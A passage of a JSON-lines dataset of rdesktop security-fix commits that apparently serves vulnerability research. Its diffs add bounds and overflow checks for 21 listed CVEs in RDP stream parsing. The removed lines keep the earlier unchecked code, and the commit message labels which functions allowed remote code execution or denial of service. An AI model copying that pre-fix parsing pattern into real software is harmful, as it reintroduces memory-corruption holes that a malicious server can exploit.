\t\t\t\t\tsec_decrypt(s->p, s->end - s->p);\n \t\t\t\t}\n@@ -889,6 +902,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\t\t{\n \t\t\t\t\tuint8 swapbyte;\n \n+\t\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume redirect signature from stream would overrun\", &packet);\n+\t\t\t\t\t}\n+\n \t\t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\t\tsec_decrypt(s->p, s->end - s->p);\n ", "sections": [{"section": "@@ -296,6 +296,9 @@ sec_encrypt(uint8 * data, int length)\n void\n sec_decrypt(uint8 * data, int length)\n {\n+\tif (length <= 0)\n+\t\treturn;\n+\n \tif (g_sec_decrypt_use_count == 4096)\n \t{\n \t\tsec_update(g_sec_decrypt_key, g_sec_decrypt_update_key);\n", "related": false}, {"section": "@@ -848,9 +851,11 @@ sec_recv(RD_BOOL * is_fastpath)\n \tuint16 sec_flags;\n \tuint16 channel;\n \tSTREAM s;\n+\tstruct stream packet;\n \n \twhile ((s = mcs_recv(&channel, is_fastpath, &fastpath_hdr)) != NULL)\n \t{\n+\t\tpacket = *s;\n \t\tif (*is_fastpath == True)\n \t\t{\n \t\t\t/* If fastpath packet is encrypted, read data\n", "related": false}, {"section": "@@ -859,6 +864,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\tfastpath_flags = (fastpath_hdr & 0xC0) >> 6;\n \t\t\tif (fastpath_flags & FASTPATH_OUTPUT_ENCRYPTED)\n \t\t\t{\n+\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume fastpath signature from stream would overrun\", &packet);\n+\t\t\t\t}\n+\n \t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\tsec_decrypt(s->p, s->end - s->p);\n \t\t\t}\n", "related": false}, {"section": "@@ -875,6 +884,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\t{\n \t\t\t\tif (sec_flags & SEC_ENCRYPT)\n \t\t\t\t{\n+\t\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume encrypt signature from stream would overrun\", &packet);\n+\t\t\t\t\t}\n+\n \t\t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\t\tsec_decrypt(s->p, s->end - s->p);\n \t\t\t\t}\n", "related": false}, {"section": "@@ -889,6 +902,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\t\t{\n \t\t\t\t\tuint8 swapbyte;\n \n+\t\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume redirect signature from stream would overrun\", &packet);\n+\t\t\t\t\t}\n+\n \t\t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\t\tsec_decrypt(s->p, s->end - s->p);\n ", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "orders.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -1259,11 +1259,17 @@ process_secondary_order(STREAM s)\n \tuint16 flags;\n \tuint8 type;\n \tuint8 *next_order;\n+\tstruct stream packet = *s;\n \n \tin_uint16_le(s, length);\n \tin_uint16_le(s, flags);\t/* used by bmpcache2 */\n \tin_uint8(s, type);\n \n+\tif (!s_check_rem(s, length + 7))\n+\t{\n+\t\trdp_protocol_error(\"process_secondary_order(), next order pointer would overrun stream\", &packet);\n+\t}\n+\n \tnext_order = s->p + (sint16) length + 7;\n \n \tswitch (type)", "sections": [{"section": "@@ -1259,11 +1259,17 @@ process_secondary_order(STREAM s)\n \tuint16 flags;\n \tuint8 type;\n \tuint8 *next_order;\n+\tstruct stream packet = *s;\n \n \tin_uint16_le(s, length);\n \tin_uint16_le(s, flags);\t/* used by bmpcache2 */\n \tin_uint8(s, type);\n \n+\tif (!s_check_rem(s, length + 7))\n+\t{\n+\t\trdp_protocol_error(\"process_secondary_order(), next order pointer would overrun stream\", &packet);\n+\t}\n+\n \tnext_order = s->p + (sint16) length + 7;\n \n \tswitch (type)", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "bitmap.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -794,15 +794,15 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\treplen = revcode;\n \t\t\t\t\tcollen = 0;\n \t\t\t\t}\n-\t\t\t\twhile (collen > 0)\n+\t\t\t\twhile (indexw < width && collen > 0)\n \t\t\t\t{\n \t\t\t\t\tcolor = CVAL(in);\n \t\t\t\t\t*out = color;\n \t\t\t\t\tout += 4;\n \t\t\t\t\tindexw++;\n \t\t\t\t\tcollen--;\n \t\t\t\t}\n-\t\t\t\twhile (replen > 0)\n+\t\t\t\twhile (indexw < width && replen > 0)\n \t\t\t\t{\n \t\t\t\t\t*out = color;\n \t\t\t\t\tout += 4;\n@@ -824,7 +824,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\treplen = revcode;\n \t\t\t\t\tcollen = 0;\n \t\t\t\t}\n-\t\t\t\twhile (collen > 0)\n+\t\t\t\twhile (indexw < width && collen > 0)\n \t\t\t\t{\n \t\t\t\t\tx = CVAL(in);\n \t\t\t\t\tif (x & 1)\n@@ -844,7 +844,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\tindexw++;\n \t\t\t\t\tcollen--;\n \t\t\t\t}\n-\t\t\t\twhile (replen > 0)\n+\t\t\t\twhile (indexw < width && replen > 0)\n \t\t\t\t{\n \t\t\t\t\tx = last_line[indexw * 4] + color;\n \t\t\t\t\t*out = x;", "sections": [{"section": "@@ -794,15 +794,15 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\treplen = revcode;\n \t\t\t\t\tcollen = 0;\n \t\t\t\t}\n-\t\t\t\twhile (collen > 0)\n+\t\t\t\twhile (indexw < width && collen > 0)\n \t\t\t\t{\n \t\t\t\t\tcolor = CVAL(in);\n \t\t\t\t\t*out = color;\n \t\t\t\t\tout += 4;\n \t\t\t\t\tindexw++;\n \t\t\t\t\tcollen--;\n \t\t\t\t}\n-\t\t\t\twhile (replen > 0)\n+\t\t\t\twhile (indexw < width && replen > 0)\n \t\t\t\t{\n \t\t\t\t\t*out = color;\n \t\t\t\t\tout += 4;\n", "related": false}, {"section": "@@ -824,7 +824,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\treplen = revcode;\n \t\t\t\t\tcollen = 0;\n \t\t\t\t}\n-\t\t\t\twhile (collen > 0)\n+\t\t\t\twhile (indexw < width && collen > 0)\n \t\t\t\t{\n \t\t\t\t\tx = CVAL(in);\n \t\t\t\t\tif (x & 1)\n", "related": false}, {"section": "@@ -844,7 +844,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\tindexw++;\n \t\t\t\t\tcollen--;\n \t\t\t\t}\n-\t\t\t\twhile (replen > 0)\n+\t\t\t\twhile (indexw < width && replen > 0)\n \t\t\t\t{\n \t\t\t\t\tx = last_line[indexw * 4] + color;\n \t\t\t\t\t*out = x;", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "rdpsnd.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -269,6 +269,12 @@ rdpsnd_process_training(STREAM in)\n \tuint16 tick;\n \tuint16 packsize;\n \tSTREAM out;\n+\tstruct stream packet = *in;\n+\n+\tif (!s_check_rem(in, 4))\n+\t{\n+\t\trdp_protocol_error(\"rdpsnd_process_training(), consume of training data from stream would overrun\", &packet);\n+\t}\n \n \tin_uint16_le(in, tick);\n \tin_uint16_le(in, packsize);\n@@ -445,6 +451,11 @@ rdpsnddbg_process(STREAM s)\n \tstatic char *rest = NULL;\n \tchar *buf;\n \n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"rdpsnddbg_process(), stream is in unstable state\", s);\n+\t}\n+\n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */\n \tbuf = (char *) xmalloc(pkglen + 1);", "sections": [{"section": "@@ -269,6 +269,12 @@ rdpsnd_process_training(STREAM in)\n \tuint16 tick;\n \tuint16 packsize;\n \tSTREAM out;\n+\tstruct stream packet = *in;\n+\n+\tif (!s_check_rem(in, 4))\n+\t{\n+\t\trdp_protocol_error(\"rdpsnd_process_training(), consume of training data from stream would overrun\", &packet);\n+\t}\n \n \tin_uint16_le(in, tick);\n \tin_uint16_le(in, packsize);\n", "related": false}, {"section": "@@ -445,6 +451,11 @@ rdpsnddbg_process(STREAM s)\n \tstatic char *rest = NULL;\n \tchar *buf;\n \n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"rdpsnddbg_process(), stream is in unstable state\", s);\n+\t}\n+\n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */\n \tbuf = (char *) xmalloc(pkglen + 1);", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "lspci.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -1,7 +1,8 @@\n /* -*- c-basic-offset: 8 -*-\n rdesktop: A Remote Desktop Protocol client.\n Support for the Matrox \"lspci\" channel\n- Copyright (C) 2005 Matrox Graphics Inc. \n+ Copyright (C) 2005 Matrox Graphics Inc.\n+ Copyright 2018 Henrik Andersson for Cendio AB\n \n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n@@ -134,6 +135,12 @@ lspci_process(STREAM s)\n \tunsigned int pkglen;\n \tstatic char *rest = NULL;\n \tchar *buf;\n+\tstruct stream packet = *s;\n+\n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"lspci_process(), stream is in unstable state\", &packet);\n+\t}\n \n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */", "sections": [{"section": "@@ -1,7 +1,8 @@\n /* -*- c-basic-offset: 8 -*-\n rdesktop: A Remote Desktop Protocol client.\n Support for the Matrox \"lspci\" channel\n- Copyright (C) 2005 Matrox Graphics Inc. \n+ Copyright (C) 2005 Matrox Graphics Inc.\n+ Copyright 2018 Henrik Andersson for Cendio AB\n \n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n", "related": false}, {"section": "@@ -134,6 +135,12 @@ lspci_process(STREAM s)\n \tunsigned int pkglen;\n \tstatic char *rest = NULL;\n \tchar *buf;\n+\tstruct stream packet = *s;\n+\n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"lspci_process(), stream is in unstable state\", &packet);\n+\t}\n \n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "types.h", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -43,6 +43,8 @@ typedef signed short sint16;\n typedef unsigned int uint32;\n typedef signed int sint32;\n \n+#define RD_UINT32_MAX (uint32)(-1)\n+\n typedef void *RD_HBITMAP;\n typedef void *RD_HGLYPH;\n typedef void *RD_HCOLOURMAP;", "sections": [{"section": "@@ -43,6 +43,8 @@ typedef signed short sint16;\n typedef unsigned int uint32;\n typedef signed int sint32;\n \n+#define RD_UINT32_MAX (uint32)(-1)\n+\n typedef void *RD_HBITMAP;\n typedef void *RD_HGLYPH;\n typedef void *RD_HCOLOURMAP;", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "rdp.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -285,6 +285,19 @@ rdp_in_unistr(STREAM s, int in_len, char **string, uint32 * str_size)\n \tsize_t ibl, obl;\n \tchar *pin, *pout;\n \n+\tstruct stream packet = *s;\n+\n+\tif ((in_len < 0) || ((uint32)in_len >= (RD_UINT32_MAX / 2)))\n+\t{\n+\t\tlogger(Protocol, Error, \"rdp_in_unistr(), length of unicode data is out of bounds.\");\n+\t\tabort();\n+\t}\n+\n+\tif (!s_check_rem(s, in_len))\n+\t{\n+\t\trdp_protocol_error(\"rdp_in_unistr(), consume of unicode data from stream would overrun\", &packet);\n+\t}\n+\n \t// if not already open\n \tif (!icv_utf16_to_local)\n \t{\n@@ -1211,13 +1224,19 @@ process_demand_active(STREAM s)\n {\n \tuint8 type;\n \tuint16 len_src_descriptor, len_combined_caps;\n+\tstruct stream packet = *s;\n \n \t/* at this point we need to ensure that we have ui created */\n \trd_create_ui();\n \n \tin_uint32_le(s, g_rdp_shareid);\n \tin_uint16_le(s, len_src_descriptor);\n \tin_uint16_le(s, len_combined_caps);\n+\n+\tif (!s_check_rem(s, len_src_descriptor))\n+\t{\n+\t\trdp_protocol_error(\"rdp_demand_active(), consume of source descriptor from stream would overrun\", &packet);\n+\t}\n \tin_uint8s(s, len_src_descriptor);\n \n \tlogger(Protocol, Debug, \"process_demand_active(), shareid=0x%x\", g_rdp_shareid);\n@@ -1390,78 +1409,113 @@ process_pointer_pdu(STREAM s)\n \t}\n }\n \n-/* Process bitmap updates */\n-void\n-process_bitmap_updates(STREAM s)\n+/* Process TS_BITMAP_DATA */\n+static void\n+process_bitmap_data(STREAM s)\n {\n-\tuint16 num_updates;\n \tuint16 left, top, right, bottom, width, height;\n-\tuint16 cx, cy, bpp, Bpp, compress, bufsize, size;\n+\tuint16 cx, cy, bpp, Bpp, flags, bufsize, size;\n \tuint8 *data, *bmpdata;\n-\tint i;\n-\n+\t\n \tlogger(Protocol, Debug, \"%s()\", __func__);\n \n-\tin_uint16_le(s, num_updates);\n+\tstruct stream packet = *s;\n \n-\tfor (i = 0; i < num_updates; i++)\n-\t{\n-\t\tin_uint16_le(s, left);\n-\t\tin_uint16_le(s, top);\n-\t\tin_uint16_le(s, right);\n-\t\tin_uint16_le(s, bottom);\n-\t\tin_uint16_le(s, width);\n-\t\tin_uint16_le(s, height);\n-\t\tin_uint16_le(s, bpp);\n-\t\tBpp = (bpp + 7) / 8;\n-\t\tin_uint16_le(s, compress);\n-\t\tin_uint16_le(s, bufsize);\n-\n-\t\tcx = right - left + 1;\n-\t\tcy = bottom - top + 1;\n-\n-\t\tlogger(Graphics, Debug,\n-\t\t \"process_bitmap_updates(), [%d,%d,%d,%d], [%d,%d], bpp=%d, compression=%d\",\n-\t\t left, top, right, bottom, width, height, Bpp, compress);\n-\n-\t\tif (!compress)\n-\t\t{\n-\t\t\tint y;\n-\t\t\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n-\t\t\tfor (y = 0; y < height; y++)\n-\t\t\t{\n-\t\t\t\tin_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)],\n-\t\t\t\t\t width * Bpp);\n-\t\t\t}\n-\t\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n-\t\t\txfree(bmpdata);\n-\t\t\tcontinue;\n-\t\t}\n+\tin_uint16_le(s, left); /* destLeft */\n+\tin_uint16_le(s, top); /* destTop */\n+\tin_uint16_le(s, right); /* destRight */\n+\tin_uint16_le(s, bottom); /* destBottom */\n+\tin_uint16_le(s, width); /* width */\n+\tin_uint16_le(s, height); /* height */\n+\tin_uint16_le(s, bpp); /*bitsPerPixel */\n+\tBpp = (bpp + 7) / 8;\n+\tin_uint16_le(s, flags); /* flags */\n+\tin_uint16_le(s, bufsize); /* bitmapLength */\n \n+\tcx = right - left + 1;\n+\tcy = bottom - top + 1;\n \n-\t\tif (compress & 0x400)\n-\t\t{\n-\t\t\tsize = bufsize;\n-\t\t}\n-\t\telse\n-\t\t{\n-\t\t\tin_uint8s(s, 2);\t/* pad */\n-\t\t\tin_uint16_le(s, size);\n-\t\t\tin_uint8s(s, 4);\t/* line_size, final_size */\n-\t\t}\n-\t\tin_uint8p(s, data, size);\n+\t/* FIXME: There are a assumtion that we do not consider in\n+\t\tthis code. The value of bpp is not passed to\n+\t\tui_paint_bitmap() which relies on g_server_bpp for drawing\n+\t\tthe bitmap data.\n+\n+\t\tDoes this means that we can sanity check bpp with g_server_bpp ?\n+\t*/\n+\n+\tif (Bpp == 0 || width == 0 || height == 0)\n+\t{\n+ logger(Protocol, Warning, \"%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x\", __func__,\n+\t\t\t\tleft, top, right, bottom, width, height, bpp, flags);\n+\t\trdp_protocol_error(\"TS_BITMAP_DATA, unsafe size of bitmap data received from server\", &packet);\n+\t}\n+\n+\tif ((RD_UINT32_MAX / Bpp) <= (width * height))\n+\t{\n+\t\tlogger(Protocol, Warning, \"%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x\", __func__,\n+\t\t\t\tleft, top, right, bottom, width, height, bpp, flags);\n+\t\trdp_protocol_error(\"TS_BITMAP_DATA, unsafe size of bitmap data received from server\", &packet);\n+\t}\n+ \n+\tif (flags == 0)\n+\t{\n+\t\t/* read uncompressed bitmap data */\n+\t\tint y;\n \t\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n-\t\tif (bitmap_decompress(bmpdata, width, height, data, size, Bpp))\n+\t\tfor (y = 0; y < height; y++)\n \t\t{\n-\t\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n+\t\t\tin_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)], width * Bpp);\n \t\t}\n-\t\telse\n-\t\t{\n-\t\t\tlogger(Graphics, Warning,\n-\t\t\t \"process_bitmap_updates(), failed to decompress bitmap\");\n-\t\t}\n-\n+\t\t\n+\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n \t\txfree(bmpdata);\n+\t\treturn;\n+\t}\n+\n+\tif (flags & NO_BITMAP_COMPRESSION_HDR)\n+\t{\n+\t\tsize = bufsize;\n+\t}\n+\telse\n+\t{\n+\t\t/* Read TS_CD_HEADER */\n+\t\tin_uint8s(s, 2); /* skip cbCompFirstRowSize (must be 0x0000) */\n+\t\tin_uint16_le(s, size); /* cbCompMainBodySize */\n+\t\tin_uint8s(s, 2); /* skip cbScanWidth */\n+\t\tin_uint8s(s, 2); /* skip cbUncompressedSize */\n+\t}\n+\n+\t/* read compressed bitmap data */\n+\tif (!s_check_rem(s, size))\n+\t{\n+\t\trdp_protocol_error(\"process_bitmap_data(), consume of bitmap data from stream would overrun\", &packet);\n+\t}\n+\tin_uint8p(s, data, size);\n+\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n+\tif (bitmap_decompress(bmpdata, width, height, data, size, Bpp))\n+\t{\n+\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n+\t}\n+\telse\n+\t{\n+\t\tlogger(Protocol, Warning, \"%s(), failed to decompress bitmap\", __func__);\n+\t}\n+\n+\txfree(bmpdata);\n+}\n+\n+/* Process TS_UPDATE_BITMAP_DATA */\n+void\n+process_bitmap_updates(STREAM s)\n+{\n+\tint i;\n+\tuint16 num_updates;\n+\t\n+\tin_uint16_le(s, num_updates); /* rectangles */\n+\n+\tfor (i = 0; i < num_updates; i++)\n+\t{\n+\t\tprocess_bitmap_data(s);\n \t}\n }\n \n@@ -2013,3 +2067,21 @@ rdp_disconnect(void)\n \tlogger(Protocol, Debug, \"%s()\", __func__);\n \tsec_disconnect();\n }\n+\n+/* Abort rdesktop upon protocol error\n+\n+ A protocol error is defined as:\n+\n+ - A value is outside specified range for example;\n+ bpp for a bitmap is not allowed to be greater than the\n+ value 32 but is represented by a byte in protocol.\n+\n+*/\n+void\n+rdp_protocol_error(const char *message, STREAM s)\n+{\n+\tlogger(Protocol, Error, \"%s(), %s\", __func__, message);\n+\tif (s)\n+\t\thexdump(s->p, s_length(s));\n+\texit(0);\n+}", "sections": [{"section": "@@ -285,6 +285,19 @@ rdp_in_unistr(STREAM s, int in_len, char **string, uint32 * str_size)\n \tsize_t ibl, obl;\n \tchar *pin, *pout;\n \n+\tstruct stream packet = *s;\n+\n+\tif 